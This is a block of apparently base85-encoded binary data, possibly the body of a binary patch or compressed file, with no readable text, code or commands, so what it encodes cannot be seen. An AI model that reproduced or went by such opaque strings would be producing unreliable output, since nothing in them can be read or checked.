zKsh?hiJU6AW2la;m=sc>T(xf|NfEMpv80Ko5APii`K8lIRCGH?f*+V13)IV=W%iH& z<+4gh`kPOh2Z@=*z}lxuI5U?ej~$)(XmKnmNfM}36{RwV;F7sZJaRo@bR)+R`35me zBMRyE_GYWu`Ng|ey4@bxPdchL!XIv(SYO=UwYT;Lyg_`B3*pJ8!b~HS=oneBVX8Bc z>~BMIuopH$@_UPwz(kYB`I+DfiO+*nZb*rUg*5pbZ8s#vG*%sz-@tdpw2+NcO|_S3 zak=gf%d&!fdvTgH9Z#r4Q>U#f{z?J^7*;Y6q>Z>IW;7a2@t(!4^gKTdVU9_>N)Y&a zyW4}o@X}is-n@ABfZ1=3B;sTlvHLG%|Cdu9q@oRiR(t3B$Vo4hO&1b0eP@NRVc*cNsH)U5tq{9W;nC2 zkL1SvE~=ADWz3->Gt6gA`L;xiC)Y(!k<>$44V%y&itUtVzN93HyVF2G#^V!NxAb78 zF0r&rxo?LfH5Ci1#_kMoq;<*z^ zNB4jNthEt-pOqS%lMp*+da8AFb zPVC0VNMeE+B9Y2!lxET+uHrUYc$>wGpfS_5TFKLFseoe$lAH;8=}gj@j{M>Xof_uQ ztWJ9asd+||VPmF{!iz#kUKUy==R(X9qO7LK2vKAw>m#c)@3OYdM3%Lc9+QM)=-t$8L%{R`jE_KPI1n6PR3}3*UP=;6SmUZIjg6jpI zZM*gW%@c@7h57lMHz?d-m}HXldC(3f=tfyY3>Fh2g6sif8FfkJ6^Y^zrUub<*ObRl z^ZGQ|A&It0LMJt`d70MkBRmN@wa%v{^x};VR0`$(h9IV zemzT002EJu*TP4F-eJ zX!rE-qgO7SG0Leu>TvY`b66_3w2t3<_qglnOnO3;)A zra~GdcdoOnInkun$g=$m*#JDS5iYBx6w7pp;(&Xq9?JJE$n>APH4V-LJJ>f z0OG8={Se2Z6%7B$>m>8@G?gYKz;~U;z@b?t zmRk&j1+zq4UG>kPDuDW;45*DX|(lbM`xslfMyyRPdvE(a;DhVMAHzxif+`^lv@Uw`+Vw^|Jon@Hb2H=j86iPVtm8`;~8_`(cbb)A|29{Xhooo>tc+_a$?;P+KCmd*es${?e znKF#5OY8PO0nuS7rHn?;4Q-uOSX5Ep_EEZ|VF>AzMkE}%h7LhcVn~M?8mXbX1_T5o z1qP*4TDn1$mK-{yyJOyY-uL;=zI||??7iY(@3pUMt^0rfGALr3lmRRjHsLO!M7RGQ z*MW^L`~rNfSBI(JZg}`FzefekwEL)han{}mn%8P*keX(KS3shG)?p{iZ!pGnH@L`# z@2t21`FRawMy>0wv41b_sOC;&##aBiD2#Fab`P*u!&cAbv5zdAi?48Ib;Be!PDSt- zxX&qJOJcY}zh37je=Qguv~TEp(`hEyv(E}v^yelTQEKIe^;wPWQO}CiZ6FDocHu`fgEACL_zMes9T_sA)(8)A5Q-IHIlN7a@u_ zi)TK!j*gkP#gS*_epZiJv7e@O`vG5GP>I^r48a76EKT72pk7%Fz)WRQc=gHgqju)F z#Td3jy$dJ>Gco&YgiqD-Nn|>cNfI@vnw4VnPQBzak8m0jt^3qVk=`U6cS;s!0(s}L z4aP<%G?sCE9{@-cD_YW4#!)pk!!q3ll`R^1AK@^ioS#KBL z?d{(t0~;FedLh=|i>Jd#9U1FbLi@(@I1PK>lbiP4Flr1oZE9j`3=0T1is!D!ctTkr znS*}vb#a0$f<7-AneU*x)y$f7oS#XWS&^Ehg#db*w8s>`s2A-H5Z#r3o@`0K&qm7h zj8`xzJ`9G|>PT8n^-`*q3*llmvfINV#|AA~Y>IKj#5KlYB9X2k`fzaJLoS=6Sz8w>0WC4+}!*y$hYi+nDi=EfP{C=K6k!j z?K<`WEGblefw-6Vi-Gr>o~Uef9o)-s`NI6zB1*FHFBGMDpNr=5d??0LKP#=MoU-}r z_uE9UE#1l;MJ)*+98}J2gn%`b<*y%7%Q0tC>ZID>GOMXuekoxzH%8VRPWY9uCACm~ zQuk?fiNSu#eA&8BrsxnIARYXfH(%<%(ucV~gX`(!iN8DYVe1^`vpvj}i zV~CVCp}UKw#L@v1nTIE@Nth@vaV#}@bai(*CiZ1~`OqA7o4E&H3PN$YbYKIni_X|G#=*lxDI8*T*k)%!mi&k+tZ1BV|nCrH0U0PQe2uy)`L3RtK>W2=7YaGSmM4 zKGEgv8WJAavp3T*Kj-VeQ{i#ccGa(0bz`NJD_F&~QL-YI^)*Wd=6`YK*a$pG+w%!r z30cBpSwCr-vuiNshYag+_02On{(8gdon4EY#vf=G;Qcx#B9|d7nqUEw9eB&U%9iwp zEO&HGRkFs#U6lQs@qJRj!3c~LpvA-C*`oP(}PRqSS`#E#pw`TibUnq`TLuByOR_d*cZg2G=dUN^2X z&(qyMz;fet;~`YUH7a=HGHlFE+R~{4GHDU(Xy(ke%19f_#JvM(MrH)|BXr^c!f#?V zv5&vs1}mR(`b7NvWMUX+lmXTq8kwT;8`r$x$l#yYESKpXB?J5cUS8VxB z?ZTWE6g|LMTcpRn9cx-X5p5SfzG`>BF|>8KRQbf!3H7VYe6c-X`}d5%<5ty@Y<&YD z?%ZA7QO9SnXMBTNjP7rRtRc5)+z6WBhBM2M3Sj4fKTLTN}TpEVz7t&b( z;Nd*o>3DG!27(y|+4#Ny<6F7Xxs?nYFAg_Fn}wju)gskzcPOanu;0W9V-mE#wDiRm5YDar^oOEZT(a8;UrWm7-u!J? zxFB0$kqVc->Rx05H(pP8tzxLDZ@eRX=&?R6Y|H*6S=sL#sFt3THKt?b#iJ-E3N?$K z(W6f7>!W%$@6{GXPyZ7Lgsb$x7e{68_Or6Y!IIvGN2tfD(XS>wH1K0PSW+B~AV}hM z$gx4Ahgapp-v|Wie#gfSMvNnU&U|d~8J|t>Bo9}wcy^A{5EL^j9ZvtG0k3b8qe@0> z%yRIlqK>`1JF`@-_-FObY9_Z01+B+kRsBrt*BWF6qQ4C~i2J$A6ejq&>ix*ZSO^UJ zVMDXv;d3&2Q1l=8&<}amp;c)P#7T4*j{j4&%opw(Y;V|lr0fH0MTdHg4d#{OWvR2t zKEI>{V*}&2Rpe+UM2bm9Kl)b>a%C-`ON>UoADsxwpw{MpSLraC-7IuGZ1$ZEOcb6) zEPuuAdTj69I}H1s*wOT3h6$K3OSR}AiXm=ooTCjZU7#+re5LtbIYL-}&^6rBScr7Q zrUIw_ncfs_6n+gL^PfQB^_ycU9F1xr&8{x}S-UrOS{cj*F%o1pohdDRc^=#Z9b^R} zHJ?C%l;1>1VrB|>0@%`=H}PZ>ojgTE`$DkNutqfDT9Hc1Yr|;bjBc1K(zet)P2I%W zW)H@gebu?*NXtpwI#!d@HOrW=AJTLRUXeWf+J1dMUoUGW1zVH7?{NWxF6+{5GX&8r z=*gJ!Dt^48t5sX^TTCXhe9luIJlOgh5z1H;9EY2AaAeILgSTHDXo;QnO_MU`(}NaslE#v^IB8K4kTo{|M<;hp+?Cd)&^z-(9GGa+Lj z3UKfgP9~OmPtE#HZw=7ct>N}TL7kl|)hS%u-t}Q6c$5QSpKOzEK=^%ghs+(Wp&npD z)rE(ro~P0KUdxT2b$9O1;o%?WAR$0=cvj_e|C4RmpqoCU?a`cD9n|#6VD9oV{ar4vy`&j1J`^L+!((oj!2uH zhGPzdpKqzW+$mBmcD18 zxm0J>Eo4Y6zO?h((*jRiiTwdYmxTn~&1@oaX|XNvV9#WEvBiI98g-x8A%mF;sOzM$ zFl-d-4x@q=izXRqKYyil)}vF24)s)ma!xutRWX1j%cYSQfU6du4J@5D!wEKfxyrrJ z;Crv|dU6~*UG|F30;On3WiV0#O-kY5$z|>(9%m7GWzM1ioUJ4(W9F7%H+vy2R1g-_ zYjTRY3|i_KyOL)b@p!;^j61P?6V*%hOpZ0C{=0H9(1Rv(mDd8i2>ZvfD$!o05?;}JX+PKyH6>U@~ic+r;YmPJZ-d+)ei%%xL z%eC4E*;b)0(q}quw))XK(f8($>&q1tBPEnE?h58~6#heSUB6ef>ACOC#dsc&Os#k5 z7_rI)JF$FYxk1wK@qht0TL`2DnQO0xL42XN|MYf*`!gx_Sb)k@N5q}(vvFlG#z7!v zu~>18^?ESb6AJm67YmzYNx~MwOyCcL7O=B?TaqA?@a_H6V}A3M+L%?tRxX-oJoCrCm~m8YG*^E_o}`G z@gxKA5^mDy48BtjA3_~2KlUx7kmg!fEp7+K{kYlfqOO(c%|aC3k5=uRZm+}`ogNMm zWkww>mOr(t#HC-o;%}(h=sWWC10^t^qkdlT5kg74>Uf|$kgrMkw5QYRP!ZBbd|2?f zJa=tq6AjfR$G(cxa;;`|MpV2;leT3~E+M1VEx1O%uktx@6vN7AusPQ7I$1RpCRIX6 z45y1|Ik*U!wR_&urrr2~MWfQQ*+dDF!zE6?mlz|3hS|e{GPZH)Fji+0 z4Qg?|@PjAR^TlP^Y$G=}edud=v<1Hg+Sa5);CLpjc_!r|HB0|Y zHa-)_v&f8$lD=;@h%(-n`p=Wx6xJv14J&>K>kcO}IUPu&2i`e4 zxB&fxJ+yUwLMX`noF+4zbs$u9@$6-pg3?;}9+QNQ5GfHVi7-+zy|u}aBc{96D-OnD zIks!=K2veURv=S#adN@O1pqc|y^^y8nREMH!-<1c)qJ#Ov!sgAVVTtsUby zIjvb`sn8*CsO;_#e0|!vB}7FI96q4a;Kd~4SNEgMIQjg@nLVdSbZaA|R#ju4WpAB&2LAP`&Q z6Y@%3r9@8b8CzDPlEJ2G{U;InCyBG0Y$jOQY{%^RTzo$)jWyza6=~;~8h`nkvr|za zz|WX5{Js3WV)8C6?to~~h!K8;$yWJz`mtNLk5atfRad`}IkM^U;^H93Y}rFO`q|XS z3IUsVE!XQ=>?fL}f2;{`nPQnKn`-4{?Ac|+Je4%hX6J_!t6F_GhfRufo@eD|#>z$) zph~oA#JY#!ztH({!@=25C^Yc4$kF@IWwF^Cm1QD+bqnks$44=Xuvxn3BJJvfmA+7{ z5(vM06>-s=Tef1`bkRN5mWoisl>o zMvbPq)hSBr<0Ye~oTX|Tz3;A$WUsgWBGG@0Diz}@rP8xLFXPggHD%l2sp2NxBt2GMtFe9+# zg_ZWII-NwxiDI)C(zjHH#?eBFKxh~q?-)v6#%85y>j-nPUe{xq`Sa({PL$j??^fm550yA zkci_vglw;wVyOCHN2)%{|BAP+YsDoXAiyWUl=R?U{8Ix6eF+UUtR3 z=`M?Yk@pG@Df3U9ysw!XVH*3*qWoLtR@Y-)@^Ue}TCCfpKDF=Sj4XT;M+V1!jKXG+ zjcC{LbMT@^k4XION|h110;EGed2v>XAC9y4whF!20L=ke^uN=*RGr)}O5xSu3%^5} zGQlqIO#<|NTN6kCe!CN&Tb`}*MTrsm`Mqca_+rb)etr7&UZv4Tp|>tce$!=_;TNUo zzR}X=z*hcW*?miI+4f)gPs{%dhZetSm3RM7%EY?St^ZfR^<;m`{!jjI9{)R;|MvR- g@A^Wa62;YtK~Z55gXHcm$3S0d%Gyem3KpUN1L6@UO#lD@